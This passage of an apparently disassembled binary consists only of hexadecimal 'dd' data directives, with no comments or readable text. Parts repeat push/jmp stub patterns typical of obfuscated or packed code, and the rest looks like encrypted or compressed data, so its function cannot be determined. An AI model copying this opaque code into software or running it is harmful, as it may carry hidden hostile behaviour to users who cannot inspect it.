		dd 15EAE9h, 9E556800h, 25E90618h, 68FFFBABh, 6189F48h
		dd 0FBAB1BE9h, 0A01568FFh, 11E90618h, 68FFFBABh, 618A0D1h
		dd 0FBAB07E9h, 0A26368FFh, 0FDE90618h, 68FFFBAAh, 618A3A1h
		dd 0FBAAF3E9h, 0A47568FFh, 0E9E90618h, 68FFFBAAh, 618A539h
		dd 0FBAADFE9h, 0A71168FFh, 0D5E90618h, 68FFFBAAh, 618A817h
		dd 0FBAACBE9h, 0A8B468FFh, 0C1E90618h, 68FFFBAAh, 618A952h
		dd 0FBAAB7E9h, 0AB0E68FFh, 0ADE90618h, 68FFFBAAh, 618AFDFh
		dd 0FBAAA3E9h, 0B0AB68FFh, 99E90618h, 68FFFBAAh, 0CFC31D92h
		dd 630F713Eh, 0D4C02289h, 570B753Ah, 3BB257Ah, 47587913h
		dd 0DDCE2959h, 2F7C8F03h, 0E4C72151h, 0A028F0FEh, 428C7434h
		dd 91010704h, 0ACA7317Ah, 0E4CAE3FBh, 79372DA6h, 11814758h
		dd 0C802AFF0h, 0A506E232h, 2B80586Ch, 359F272Bh, 3449434h
		dd 0FDE937C1h, 34077119h, 0B3F54494h, 3451C343h, 0F5274494h
		dd 0B5700AE3h, 2A7EC941h, 0F40C3EA1h, 9C6D14A5h, 0E8066E85h
		dd 0BCD001C7h, 0BD79AC44h, 80F0F961h, 48CBA871h, 3C15h
		dd 0A5253100h, 0BD79A433h, 1241D709h, 9B2B48D2h, 4494E829h
		dd 2B2BDD1Fh, 0E8359F27h, 0C1034494h, 0F0E75F37h, 0CE3EA1BDh
		dd 0FF65579Ch, 0EABD783Ch, 0F8077744h, 9E48CA24h, 0E8h
		dd 4A617777h, 5A646CEh,	0E7ECEECCh, 66ABF4DDh, 0E256F6E2h
		dd 0DA4494E8h, 0E60292A8h, 18FC0CC5h, 94E80470h, 28B2F444h
		dd 88690CECh, 4EAF3E31h, 9751FDFBh, 7EFB6F51h, 0C8449465h
		dd 5D057B30h, 9583307Bh, 2DCBD4FDh, 0B0B2640h, 0A1A5907Bh
		dd 0EE0E863Eh, 0F4B614BDh, 0C781004h, 5CBD7986h, 7FA141E1h
		dd 0D4F538Ch, 3E48950Bh, 888303F3h, 2C74DC4h, 484F7692h
		dd 0E5040030h, 0B515BE0Ch, 0B99DDF23h, 0F9E7B819h, 32376889h
		dd 70FE7599h, 32BCBDE6h, 0CC000013h, 731F812Eh,	0B7AB159Ah
		dd 681C8625h, 0BBA71996h, 0A7178916h, 0B3EC15B7h, 6942A5CDh
		dd 0BBF00B77h, 703B9DC5h, 34D4BC12h, 428C76C0h,	7782CBB8h
		dd 0B6275F5Ah, 50A95C41h, 8D35F1FBh, 73351A95h,	2883650Dh
		dd 22C64EBAh, 0C1F2B953h, 1A39BF09h, 79DD48D2h,	0A1BDEAD1h
		dd 54F4D83Eh, 0BD783CE0h, 3C68DC6Ch, 1E60BD78h,	0DECD2EA6h
		dd 9735DE2Ch, 0BD783C21h, 0E5551E3Ch, 48CA24D6h, 0B67Ch
		dd 17FB4900h, 94E8056Fh, 27B1F344h, 759E0DEBh, 0F41D825Fh
		dd 94E59BD8h, 8243A544h, 3B6670C8h, 0F9E721B5h,	4962850Dh
		dd 0A5423288h, 0EBEDCD06h, 995A51A7h, 0B123A3AFh, 87BB6BDFh
		dd 90AAC355h, 2629A195h, 14C15EE9h, 45DFF0D2h, 3A6A6EEAh
		dd 4EE743D7h, 0E22AB06Ah, 0C74CC91Eh, 24ACACDEh, 9400E2BDh
		dd 7439326Dh, 0E970FE52h, 123FCBBEh, 2BBF0000h,	97761E84h
		dd 22BAAA18h, 936B1789h, 13BEA61Ch, 0B4AA168Ch,	0FCE6B918h
		dd 463C6F88h, 94EEBD1Eh, 3DA308E0h, 0F55FE7AFh,	0C3428C77h
		dd 5A777FC6h, 3291D145h, 83609ADFh, 382C7684h, 7738D5A0h
		dd 77644F31h, 0FB894A61h, 80F4CEDDh, 0B7E8096Ch, 0C90AC0FAh
		dd 348E1DBBh, 0A0BAAB4Fh, 0D859185h, 7F15BEF1h,	708A406Fh
		dd 0A1FA451Ch, 1D81C33Eh, 0F637F66Dh, 0D4253F17h, 0C038722Dh
		dd 0C34D3D48h, 8963CB3Ch, 3070E822h, 38DCB4AEh,	0CAE1FA59h
		dd 46D9FA00h, 8505F13Ch, 0C2D0824Ch, 8728C64Eh,	67CF1171h
		dd 68E811E7h, 1DDD1689h, 0ADFA3BADh, 19CF11B2h,	0A81DBBA7h
		dd 0C0E402B6h, 59529821h, 7361689Eh, 72912813h,	8C000011h
		dd 335F416Eh, 77EBD5DAh, 285C4665h, 7BE7D9D6h, 67574956h
		dd 0F3AC55F7h, 0A902E58Dh, 0FBB04B37h, 0B0FBDD85h, 7414FCD2h
		dd 428C4800h, 77C20BF8h, 56894A61h, 55F561CCh, 3EA1FA66h
		dd 9E362264h, 8A40713Ah, 9EC63270h, 9E95C1Dh, 0B3DFF991h
		dd 829D5655h, 0C9E6F7F8h, 0F8B208h, 413D2688h, 0A890D2C7h
		dd 0E5DBD028h, 996A5B7Dh, 0B72B8544h, 3D2C8509h, 0FACCBA5h
		dd 7D0718D9h, 1D1745CCh, 93557A95h, 50AB23A3h, 5B8DCD7Eh
		dd 169573DBh, 8B20B8ACh, 36D6C246h, 0A92E60C2h,	7D7288BAh
		dd 38D048E3h, 0D31B408Dh, 0B7F4137Bh, 810AC0FAh, 64CED1C8h
		dd 0B64F6A55h, 48000010h, 0EFA3FDB2h, 432F911Eh, 0F4A002A9h
		dd 372B951Ah, 239B059Ah, 67389933h, 0BDEE0979h,	4F5CAFE3h
		dd 0C4E70171h, 800810DEh, 428C4814h, 779EE7E4h,	0AB5B455Ah
		dd 51ADC823h, 9367AC5Eh, 53DE6885h, 1A916BE3h, 0D06A419Ah
		dd 0A444CCC8h, 0EAF0CA07h, 0A1F73FA2h, 585913Eh, 0BD780193h
		dd 61A13769h, 6E2F21Fh,	43CB3BA5h, 9CF802A9h, 0AD426F3Ch
		dd 28A09893h, 0C74D1D0Dh, 5B08C9FBh, 6A8EE6F3h,	0F48E5F41h
		dd 0B755BD39h, 255ECA42h, 0FC2EB74Dh, 0DC6C2CAEh, 0CD783A61h
		dd 0F55FE7EBh, 0C3A9525Eh, 0D90B7781h, 5F4CAC18h, 0F6C373B2h
		dd 6D8E6FF9h, 7335953Eh, 41980383h, 62F2D367h, 0DED2685h
		dd 5B45770Bh, 0ADC823ABh, 90AA604Bh, 0AC7E404h,	27660A72h
		dd 764303A3h, 0D4DB32A2h, 0CF2ACE46h, 2766CD37h, 3F89BBA3h
		dd 0D4D73161h, 0BB76101Fh, 7635D33Bh, 24CDDEFEh, 0C44454E6h
		dd 0D9124A79h, 0BEE3BDFFh, 0B9740E79h, 1979CD3Dh, 0CD0FDF0Dh
		dd 8E56D69h, 27B123A7h,	1F879F13h, 0D931E2C9h, 359F270Fh
		dd 39F1327h, 77E737C1h,	0C5D1455Ah, 1327D345h, 0AB41A99Fh
		dd 2330CA00h, 0A20EED35h, 49167316h, 55E55BAFh,	344E9F13h
		dd 7895FDF9h, 5C3EC01h,	2CECEECCh, 2CC2F828h, 0E3843D78h
		dd 8141B555h, 537E52Ah,	44678111h, 0DC48C0D4h, 0AC91FBBFh
		dd 5242607Ah, 8E7C0FB6h, 8DECBB4Ch, 0C32E965Bh,	9904CFDCh
		dd 86B15296h, 0F24F3h, 0AF00DA00h, 634CA1D1h, 0B4F7157Dh
		dd 6748A6CEh, 0B7E80979h, 0EB61D5C9h, 3B279906h, 0C1B10F9Ch
		dd 731F812Ah, 12AC1695h, 4A6ADE6Eh, 6562428Ch, 455A7718h
		dd 0A4D1275Bh, 4EAC654Ah, 8B6D579Ch, 3CDAF320h,	0AA01D72Fh
		dd 0F0853438h, 0BF4FB126h, 17797F2Ch, 167h, 986177ECh
		dd 94E884F0h, 47648444h, 12BF093Bh, 0F3936682h,	4494E881h
		dd 93834577h, 0E89D077Fh, 396B4494h, 0D26C819Fh, 0DC67DF57h
		dd 0AA3EA1F6h, 0DB413B78h, 0C6BD7802h, 7875B68h, 0C2F8B9F6h
		dd 635C438h, 425948CAh,	6D000000h, 352E5F35h, 0F612B732h
		dd 0EEE5F3B5h, 9B2B48D2h, 4494E829h, 16F5DD1Fh,	6C9E5C95h
		dd 6BB8E8ECh, 62824FA5h, 7FE8EACh, 53EA18Ch, 67E0EC3h
		dd 23BD79ECh, 0FBE2E3Bh, 5348CBF4h, 0B3h, 4A617700h, 0C9D6FB89h
		dd 4F5C7C08h, 0E95BEBE7h, 0DF4494E8h, 0DC158A67h, 54EEC1Eh
		dd 5032798Fh, 94E55F1Ch, 0B60FE944h, 367D7019h,	42B6F4A2h
		dd 54702FD2h, 54B286A0h, 881A2018h, 16022D37h, 5F9F1476h
		dd 66D214C1h, 269C03EEh, 7F0C933Eh, 77119AB6h, 0E649406Bh
		dd 1800000Dh, 0DF93EDC2h, 533FA10Eh, 0E490F2B9h, 473BA50Ah
		dd 138BF5AAh, 5748A923h, 0CDDEF969h, 3F6C7FF3h,	0D4D73161h
		dd 9038E0EEh, 428C4B24h, 77EE1714h, 81F3935Ah, 774494E8h
		dd 7F938345h, 0E881F393h, 45774494h, 94E8D345h,	0FB77A944h
		dd 0B307CCE3h, 7187FB25h, 775D483Ah, 46CE4A61h,	0F1C90AA1h
		dd 0B5436C81h, 0DBD0289Ch, 505B7DE5h, 37F28CA3h, 0F03847BFh
		dd 94D63EA1h, 7953B2Eh,	0FBFA0000h, 0A7A379E3h,	0A7AE5655h
		dd 0BF53E5F7h, 38547D22h, 449477C0h, 2216112Bh,	6C339E36h
		dd 0ECC03ECEh, 86B83EADh, 0C6E50292h, 0EC4EBA52h, 0C3EBD7Ch
		dd 4EAA2AEEh
		dd 7F93835Dh, 7CEC9D07h, 9F396BBDh, 0DD169573h,	14950AE7h
		dd 770F6D2Bh, 12A21700h, 0EC00000Dh, 533FA10Eh,	0D78BF5BAh
		dd 483CA605h, 0DB87F9B6h, 8737A9F6h, 930CF597h,	9A2452Dh
		dd 9B10EB97h, 109B3D25h, 0D4741CB2h, 428C4C60h,	77226B58h
		dd 41D1455Ah, 0ABF503ACh, 498A21B7h, 2A0E9D3Bh,	8851B6FAh
		dd 0B0D44B3h, 8F20BEC6h, 149B7262h, 9619F5DFh, 3153203Eh
		dd 0FBCF9C3Ah, 8D357A93h, 0BA79406Bh, 42D2686Dh, 0CF9B05A6h
		dd 0B1263020h, 0D66h, 146F1F00h, 484494E3h, 0FFFDC441h
		dd 96F10FFh, 624494E8h,	61E94DD8h, 3EAD73C5h, 0D8571B3h
		dd 36E2C0EBh, 8D3EAA22h, 0DC0EBD73h, 7932D63Eh,	0B6F9157Dh
		dd 889219BEh, 2198394Bh, 3537AEB5h, 2A9F69F0h, 770E8C27h
		dd 4E8E2B14h, 0B000000Ch, 0F76B555Ah, 0ABD7C9E6h, 0FC685A51h
		dd 7FF3CDE2h, 6B633D62h, 1F8061FBh, 7536D1C1h, 2784570Bh
		dd 7C2FC9B9h, 38D0B806h, 428C4DCCh, 7786CFBCh, 0B6F91461h
		dd 33D5BFF4h, 3E423B78h, 0AA4237D6h, 0B0FAD001h, 0AB31C703h
		dd 9A2469Eh, 0F024D397h, 206AB126h, 1B000000h, 94E3146Fh
		dd 0B2F91244h, 65E000F8h, 0F80A0528h, 0A41BF410h, 0E4873AF7h
		dd 0FD0BB356h, 0FB82FFFFh, 81327993h, 0A4BEAF49h, 0D2FD8D89h
		dd 483EA1F7h, 78DFDD16h, 63BD7800h, 4F7EEEFBh, 1348CA04h
		dd 1B2h, 0E8596FC0h, 0EA0D4494h, 439D0EEAh, 6A0CB94Fh
		dd 973C7808h, 0CFED26E4h, 4494DCF1h, 8FEA3ADEh,	0DAD98FE3h
		dd 0D09943D5h, 554B6078h, 842DF088h, 5A7DF810h,	0A06AA051h
		dd 0F5B65242h, 0E7C8C0BCh, 75D54494h, 0E2CDFC6Ch, 6391B126h
		dd 85000001h, 58C0EB0Dh, 94EE44B0h, 0E8F23444h,	4A6177EDh
		dd 98DDFB89h, 3FA16744h, 5FB394AEh, 0A96A31C6h,	0B656C208h
		dd 3EA15E63h, 636FE719h, 797A71E3h, 31547BDh, 7A46BECEh
		dd 0FB63BD79h, 7E4F7EEEh, 0F99948CBh, 7B09CAE5h, 65A54E5Dh
		dd 48FB95A3h, 0C8000000h, 9B2B48D2h, 4494E829h,	0D179DD1Fh
		dd 4494E867h, 61D51355h, 0A1BDF2E9h, 7F58D03Eh,	5A9718F6h
		dd 0B8A06AA0h, 28E9C618h, 710B48D2h, 0BD783C0Bh, 0BB2B3816h
		dd 48CA240Ch, 55EB88D8h, 0D3661BEFh, 0B0CB45h, 77780000h
		dd 0FB894A61h, 7C08C9D6h, 0B6A24F5Ch, 0C1F2B91Eh, 45A3EF09h
		dd 0EB007C66h, 0A94494F0h, 0E95B5379h, 0DFF95309h, 6C5655B3h
		dd 1CACC953h, 0BB6B98A8h, 0ACAC5EA0h, 5F37BE1Ch, 9088BAC1h
		dd 0E4BEE100h, 5D4E51B0h, 7711325Eh, 7669604Bh,	8800000Ah
		dd 2F633D72h, 83EFD1DEh, 34604269h, 77EBD5DAh, 635B455Ah
		dd 277859F3h, 7D2EC9B9h, 0F9C6F23h, 8427C1B1h, 40C8D01Eh
		dd 428C4FD4h, 775EA7A4h, 91D1455Ah, 0BECE190h, 982784A0h
		dd 0C9B9E7F1h, 0D642CA2Fh, 0A644946Ch, 0A6B2A664h, 946CB226h
		dd 0E0588A44h, 946CFC68h, 809ACC44h, 93FBB322h,	4C7E3378h
		dd 0DEFCAF48h, 985952B6h, 1DFCC2Ch, 42E86h, 17FB4F00h
		dd 94E8056Fh, 0E1865344h, 0BDC987CAh, 2C7583C5h, 2B351Ah
		dd 21277018h, 0ED653EADh, 0EA9AA00Bh, 1D2040B8h, 0EDFCCD62h
		dd 8754CC4Eh, 46C632FDh, 0C746CEFBh, 75150115h,	0B7470E03h
		dd 51C3C7F9h, 27B7470Eh, 5D9FE3F5h, 0EA018B4h, 9DBDB747h
		dd 7E9000D4h, 0A453A731h, 0EA42F50Ah, 38Fh, 0E8096F9Bh
		dd 9EFF4494h, 0C34494E8h, 28A6EB9h, 0C15E126Bh,	20DD3199h
		dd 780A3CA8h, 10DA0CBDh, 4BCCD1DAh, 0B6E17714h,	970C3h
		dd 436C8E00h, 0D7D8355Dh, 486379E9h, 0DBD42A5Ah, 4B547DE5h
		dd 57F56955h, 0C7BB257Ah, 5D057B30h, 1F532D7Eh,	0EE00E2C9h
		dd 4036A22Ah, 906428Ch,	7A93FBBCh, 0DA856E4Fh, 3278CBECh
		dd 1F8C6CA8h, 8233DF2h,	745A7810h, 94D63EADh, 0AC87A12Eh
		dd 1F821CACh, 3476C74Ah, 0AB4CC4h, 382AEAA2h, 8495B75Ah
		dd 0B2553DA3h, 2CCCB8F9h, 839D527Fh, 8D18B0A8h,	0FCD6F3Dh
		dd 0F4096C7Fh, 6C4F6BBh, 97EBEDCDh, 23D0DF2Fh, 5B239535h
		dd 0E719A92Fh, 0E5E2E721h, 0FA6AE31Ch, 8D3B8D1h, 0CF2B0000h
		dd 7B9202E0h, 0C6264E34h, 7787FBE5h, 0B71A4A38h, 50C6FAE8h
		dd 188A15BCh, 0C2208B6Ch, 107239D2h, 0B9278464h, 79EB5B23h
		dd 4F428C40h, 48D22B52h, 0E8299B2Bh, 0D92F4494h, 5A90D2D2h
		dd 73D06EDEh, 76A83EADh, 0DFFE9682h, 8D3AAE1Eh,	0D012BD73h
		dd 7394001Ah, 0BD1A4A38h, 102AC5EEh, 34A00FDFh,	0E921D2CDh
		dd 738F371Fh, 0EDC74A16h, 0AF573BBBh, 0B75A2245h, 8202A943h
		dd 8699BA40h, 0D1C531FCh, 5A22CF39h, 6D8BBDB7h,	2C4621A9h
		dd 72B4CD6Fh, 0E32CE0F9h, 0A7220D6Ah, 835h, 247E31C9h
		dd 0B0129D70h, 1D8328C4h, 0AC169975h, 1C8619B8h, 0B71AB2A4h
		dd 6D8AFAE8h, 0DB30643Eh, 6682F2D0h, 7D815B45h,	8C419B0Dh
		dd 49747142h, 0F3146177h, 0D3C1F2B8h, 403D7635h, 7639D43Ch
		dd 0E17B7D3Dh, 436880D8h, 0ECEE1D5Dh, 0D4B4B126h, 61000001h
		dd 0ED1AE3FBh, 6E81CE56h, 2EF9836Ch, 5FDF42CAh,	0A1313EA1h
		dd 4EAC6546h, 0C05BD6B6h, 6B6DBC23h, 902CE517h,	0BD79C628h
		dd 784C1535h, 67ACFFD8h, 0C6F58593h, 8C48CBC2h,	197h, 4A617739h
		dd 0F90F7F89h, 0CEC28B2h, 3DD5419Fh, 0AC03DB9Ah, 0E1559367h
		dd 94E8FF69h, 7D9BCD44h, 0DB5BD670h, 0A1F6D86Bh, 0A546AE3Eh
		dd 0BE14DE06h, 0F8AE572h, 3CA418D9h, 1CBD7895h,	0D0C4EDC2h
		dd 48456E31h, 409FC18Ah, 0D2E1511Ah, 0FE48CA91h, 793A7196h
		dd 4259B741h, 2A000000h, 50A748D2h, 0A664965Bh,	0BD231AB2h
		dd 0F9213EA1h, 327DEABFh, 46B2F827h, 797F30CEh,	0C3FC6458h
		dd 0FFDCBD78h, 745D67ACh, 8F2FE62Bh, 1941A0C2h,	0DBD1E050h
		dd 0CE7548CAh, 91000000h, 37C1EA01h, 4A61771Ch,	0C9D6FB89h
		dd 8728C54Dh, 0DD04704Ah, 1FB911C2h, 6546A232h,	0EBC018ACh
		dd 6A8111F5h, 0A03A9041h, 94ECBF6Ch, 5C4FA944h,	179474DCh
		dd 0D6863ADAh, 94940C38h, 915EC456h, 54BC3CF7h,	36E2F8B3h
		dd 5F6C3496h, 140C34C1h, 0F4AACE56h, 0D0CF32A2h, 4BB61E1Ah
		dd 0C066666Eh, 0AC064D0h, 82E7D60Eh, 0B8F9366Fh, 0BFB2230Ch
		dd 0AE4C3242h, 0CE10074h, 7D92087Ch, 5ABE00BDh,	7D9246B2h
		dd 0B6F436BDh, 10E38EB5h, 0D9F0DB77h, 679h, 584A6585h
		dd 4DED12Ch, 512F7C90h,	0E2CD21h, 50326D94h, 836EEE60h
		dd 19BEA61Ch, 0A7443092h, 12F69E04h, 0F1952799h, 8C43EF59h
		dd 0A5F0DD42h, 5B455A77h, 0E8DAD127h, 4A6177BDh, 0D642CACEh
		dd 0A64494E8h, 0E054F464h, 0D84494E8h, 553F94A6h, 23CE46B3h
		dd 0E884F07Ch, 32744494h, 0F8108078h, 2ECCFEB3h, 3D75F4h
		dd 863C0000h, 9D5EE88Fh, 0B99D6B34h, 6326859Dh,	690A630Eh
		dd 7E9D3BCFh, 699B3EADh, 0C3A81C75h, 0A8A6EB9h,	0B614BDEEh
		dd 35D47424h, 33C74A01h, 708D05F1h, 0A238923Fh,	4B0B7Eh
		dd 0D2CA0000h, 5A51A748h, 9D20A890h, 5B3EA1C4h,	7BD4E829h
		dd 8D1C2A5Bh, 7B0502CFh, 0C44C48B0h, 0BC4C852Ah, 7803D84Ch
		dd 3C6EB0BDh, 2FD36E9Eh, 0C5A9C74Dh, 4D2FD345h,	3177A9B7h
		dd 0CE184Fh, 381C0000h,	4D2F2490h, 48D214B7h, 0DD48D20Dh
		dd 10942979h, 891F3708h, 971FA76Fh, 613EADEFh, 0BCE7371Fh
		dd 0E5985C12h, 0A06A419Ah, 0F7ADC69Ah, 0FE6E7BD9h, 48CE21CFh
		dd 8793h, 48D24000h, 795D79DDh,	94E867D1h, 0EF135544h
		dd 30F13E17h, 0D438C226h, 3EAD4A43h, 324BF335h,	74AC6482h
		dd 0F871E1A1h
		dd 7EE0FA65h, 0DCF60575h, 519C48C1h, 69000000h,	0FCF748D2h
		dd 3B173CE6h, 0EA389CABh, 50AB543Ah, 0E3869E9Ah, 7BA75334h
		dd 0FD8D898Fh, 3EAD53DFh, 1A732B5Dh, 1E8D6AAAh,	0BB0EDFF5h
		dd 0CE53846Dh, 71A26830h, 7FA1AA50h, 55F5E135h,	0BD735DE3h
		dd 0CB91A7D9h, 597F8EFEh, 0D2348C1h, 0F0000000h, 94F4F46Fh
		dd 0F4616844h, 30FFFFFEh, 9F748D2h, 0E37A2F14h,	385ECA42h
		dd 0FC2E4494h, 8A21C6AEh, 0C230D840h, 0BE3EADA3h, 8E98478Ch
		dd 0F413B3A3h, 72C74546h, 729A0E7Eh, 3072B75Bh,	9CA6397Ah
		dd 0A925A591h, 8FCD62E9h, 54B9E94Dh, 35A06820h,	56BEDA60h
		dd 358AF8B7h, 7018002Bh, 0D31B172Eh, 30A098CAh,	6C68D0DBh
		dd 92168DCh, 61E60A3h, 0C88668B0h, 5CC65411h, 0F25FE520h
		dd 7485632Bh, 0E29860D4h, 0FE26580Bh, 569BFAABh, 685A90DAh
		dd 22CFDCFCh, 5F82730Dh, 0FE8E8A40h, 71D7383Bh,	1B8DFDF1h
		dd 0F10DF758h, 0ABB8F9AFh, 1ABE1623h, 0A8432F91h, 4A802BCDh
		dd 7F937F89h, 0F7589D07h, 31396B0Dh, 0DF758C7h,	0D34F73B5h
		dd 0A49175EEh, 0AA43CF69h, 426F3CCFh, 8ED64288h, 0B78F4257h
		dd 627BF7BFh, 0EB86CB4Dh, 0BD1E7643h, 0EF58CC3Ch, 0AD400DF7h
		dd 8A408202h, 1C8F6C18h, 0D0CAFCD7h, 8E6DC58Eh,	529817E7h
		dd 0F3088870h, 0D23322B8h, 0A52FE449h, 6AAB6843h, 7902FFCCh
		dd 2BCC44B4h, 77856480h, 0C60544EDh, 6286EE34h,	0C9FC1549h
		dd 90E8F14Fh, 234B3378h, 902CE5CAh, 44940224h, 368E5B03h
		dd 0FEEAD8D7h, 0A3357696h, 0E20F9C6Fh, 940273EAh, 0AAB76544h
		dd 90F2B952h, 94221DDCh, 0AB596144h, 0EDB12626h, 0FFFFFFA3h
		dd 4A6177A6h, 0DFCC2C58h, 0F2B94FBFh, 0E9C2264Eh, 6C3F9C28h
		dd 6B7816A7h, 0E7F45249h, 4E5D7B13h, 3FD365A5h,	0DE9E02A9h
		dd 0B126F02Fh, 2473h, 48D22000h, 32D179DDh, 303EAD73h
		dd 843152EEh, 0E7E4ED4Dh, 0E666D25Dh, 0C74A1627h, 88FBE325h
		dd 3Eh,	0DD48D249h, 7332D179h, 0EE303EADh, 0C92EA652h
		dd 941BF2E2h, 0ADA51D86h, 96101949h, 75E093ECh,	0F3F0F963h
		dd 0B25ABE69h, 0C74A1713h, 3EFCF11h, 8EE9F2DBh,	470F75Ch
		dd 0BB0FC4E7h, 93FB361Dh, 4A80316Eh, 278464B0h,	31A3232Fh
		dd 74494E8h, 0A0E43D5h,	0E606738Ah, 9DF503C5h, 0BD12703Bh
		dd 0F89088A3h, 3EA1F6ADh, 0D4E8295Bh, 0BD78016Ch, 9808D179h
		dd 48CA0569h, 462Dh, 48D2E600h,	0F55D79DDh, 0A3159516h
		dd 0A94494E8h, 184A5A55h, 8F761602h, 7D3EA1BDh,	0A443CB4Bh
		dd 0EAF0CA07h, 3C6DD3E9h, 0D278BD78h, 246A9909h, 1EB648CAh
		dd 0C44EECB3h, 0EAh, 0DC48C0D4h, 0ACBD7830h, 7775607Ah
		dd 96CE4A61h, 6FE94D8h,	9318F0BEh, 0DC5EAC5Eh, 4D519177h
		dd 4F5CAF01h, 0C6BC68A2h, 5F4CACF2h, 889258B2h,	3EBAE50Ch
		dd 46C637D6h, 44942ED2h, 813278AAh, 32A2AF49h, 2C1CD5D6h
		dd 0D26843A4h, 9B05A642h, 942382DFh, 96C8C44h, 0BFFBB8F3h
		dd 636F9709h, 942A71E3h, 27845744h, 9469699Bh, 7395FD1Bh
		dd 5C3EC02h, 1E0913CCh,	1B17923Ah, 11053EA1h, 79790F79h
		dd 0FDCBFDBDh, 0D2B73A3h, 4F229365h, 0DF698694h, 1064E454h
		dd 0E8C74D45h, 2FD242B6h, 7F621270h, 0C67AAB20h, 0E4CF70FEh
		dd 1A8E5h, 0FBB45600h, 0AF00DD85h, 604BA1D1h, 0B3FC1282h
		dd 633CA5CDh, 3FDD517Dh, 0EFA3FDA2h, 452D9318h,	0E79B05A6h
		dd 96289A11h, 47EE5AF2h, 0F1DE428Ch, 455A77A4h,	0DAD1275Bh
		dd 48D2BDE8h, 0F55D79DDh, 585930Ch, 3EA1BD1Eh, 83F9BAECh
		dd 0BD783B1Dh, 0A9192208h, 48CA231Ah, 0C240h, 61771500h
		dd 0F5B3F814h, 7629C8BCh, 0E5223F3Dh, 0CEC4494h, 3DD5419Fh
		dd 26E40D9Eh, 132E9A32h, 0EC1EBB6Bh, 8922C64Eh,	0A28D9748h
		dd 0EEBD1EB6h, 23F305C5h, 5E2200A3h, 0AC5A8AC1h, 0B5E2D2F2h
		dd 0A3CC852h, 4962860Eh, 83CB3DCDh, 7FC1BD78h, 8C962779h
		dd 2215B5A1h, 18C74C2Ch, 0FFE272E6h, 0AF5242A0h, 2D347BF0h
		dd 7EA970FEh, 0DC0Bh, 0E7C82200h, 3B7489F9h, 0ECBF1D45h
		dd 3F708EF6h, 0CFD03161h, 0D349BDF1h, 630F712Eh, 0C9B92784h
		dd 5B077932h, 7A542E7Dh, 5882F696h, 8D7A428Ch, 455A7740h
		dd 1FA7AB5Bh, 4494E8B5h, 5BB74183h, 0A4542E7Dh,	16DBD02Ch
		dd 60D474E4h, 584494E8h, 77C11426h, 0ED1461h, 94E81C88h
		dd 0F0BAEC44h, 0DF263EBAh, 0C43F17B2h, 0CE1C8F69h, 5B7D074Ch
		dd 9468E850h, 0F39F0117h, 32A29615h, 0EA20D1DAh, 46A2D250h
		dd 65E5F165h, 44945BF3h, 279F97C9h, 44945BBDh, 92BF598Bh
		dd 0D7817FFAh, 0A3B00E79h, 3A83FCFh, 56C24ACEh,	26F0A6B1h
		dd 801426E4h, 355D4368h, 0A91BD8D3h, 813A7455h,	0FA6266D8h
		dd 0EE7003B0h, 0A6B8DE5h, 92F0BAF1h, 0B1A506E2h, 5AE0CB21h
		dd 380F9h, 40510000h, 4C637759h, 0D0DBFD87h, 515AB123h
		dd 0D8D334A0h, 5748A91Bh, 0D8C72A9Ah, 5A55A91Bh, 0DAD12B99h
		dd 5D52AB19h, 0ED6852B4h, 8900003Bh, 8950242Ch,	405E0h
		dd 42D0000h, 87000000h,	895C2404h, 89572414h, 4C781E7h
		dd 81000000h, 4EFh, 243C8700h, 240C895Ch, 0F1B95157h, 8906189Ch
		dd 0FA8959CFh, 4EC835Fh, 81242489h, 42404h, 52590000h
		dd 43243481h, 8F740651h, 0BE560841h, 74065143h,	5E087131h
		dd 52240C8Bh, 0C281E289h, 4, 8704C283h,	8B5C2414h, 89502414h
		dd 405E0h, 4050000h, 87000000h,	0E95C2404h, 0FFFB9550h
		dd 0B6024CE3h, 7A041FBEh, 0B88D060Fh, 618B1ACh,	0E0FFC503h
		dd 4663CCBBh, 749B56DCh, 76B1CF82h, 14890B74h, 234F6E3h
		dd 1446D4D6h, 5FC1B249h, 79B06014h, 2FF36F9Ah, 22414483h
		dd 626F987Ah, 79F95334h, 30FD3560h, 406F144Dh, 3B28080h
		dd 342EE158h, 18DA2564h, 8E8h, 8CEE3600h, 0B4575B46h, 0D0BF0F9Eh
		dd 81F98B59h, 5B82C1h, 0BE1CB600h, 13965AE6h, 0BBCAC681h
		dd 0EE9EC69h, 0FB000000h, 545D8E22h, 4E3A7A21h,	86B61A4Eh
		dd 8131FF64h, 7AC4B8DFh, 81FC5B33h, 5B7C7FF3h, 9E905h
		dd 476B0000h, 164BE1CAh, 81FACD4Bh, 8A0751C3h, 18890F7Bh
		dd 0E9000000h, 13h, 0C9C01385h,	57C16D3Fh, 3C03C34Ah, 8AC8F384h
		dd 81331175h, 41B23EF3h, 0DCEF810Eh, 8906F735h,	0BA666019h
		dd 8361B3CDh, 0DF8101E9h, 5B8CE1C1h, 60494949h,	9E8h, 98E4D600h
		dd 9A47BB93h, 0BB6613B4h, 0F5FEEC0h, 381h, 0C88B6600h
		dd 1EE8161h, 0F000000h,	0FFFF7485h, 41E081FFh, 0E941EEF4h
		dd 28h,	3F02CCC2h, 9 dup(0)
		dd 0C21E9h, 0B5206800h,	0F1E90618h, 68FFFB93h, 618B61Ch
		dd 0FB93E7E9h, 0B79368FFh, 0DDE90618h, 68FFFB93h, 618B8BDh
		dd 0FB93D3E9h, 0BBAD68FFh, 0C9E90618h, 68FFFB93h, 618BD41h
		dd 0FB93BFE9h, 0BE3368FFh, 0B5E90618h, 4CFFFB93h, 0F39F01AEh
		dd 372B951Ah, 0E89C06A5h, 3B279916h, 27970996h,	336C9537h
		dd 0E9C2254Dh, 3B708BF7h, 0F0BB1D45h, 0B4543C92h, 428C5B40h
		dd 0CD454B38h, 84367B24h, 2AB0FB10h, 4A61772Bh,	565F7F89h
		dd 6FCE12A5h, 28C054E6h, 0B6D01D83h, 0B80B7B7Bh, 4E3EA1D2h
		dd 0E8381C1Ch, 353F1DDBh, 0E7515991h, 0D5BD79AAh, 304C8593h
		dd 0BD79AAC8h, 986C75D5h, 2F432B48h, 8E609AD8h,	0A951E721h
		dd 48CB281Ah, 4B40h, 17FB1500h,	94E8056Fh, 87FFF344h, 4494E81Dh
		dd 0E9EFB9EBh, 47AF7A04h, 55BF474Bh, 234494E8h,	0CCB357E1h
		dd 0BA3EA1BDh, 0CB314B88h, 0C9BD783Ch, 5A64128h, 5B860EC3h
		dd 4CF28F44h, 0DC825D7Fh, 24109F0Fh, 0BE3648CAh, 0F000000h
		dd 894A6177h, 8C9D6FBh,	0C4195C7Ch, 62EE26EBh, 0F9B0C4B1h
		dd 2BE822E8h, 0EC6C3F99h, 14268964h, 9A8BDE8Eh,	77914494h
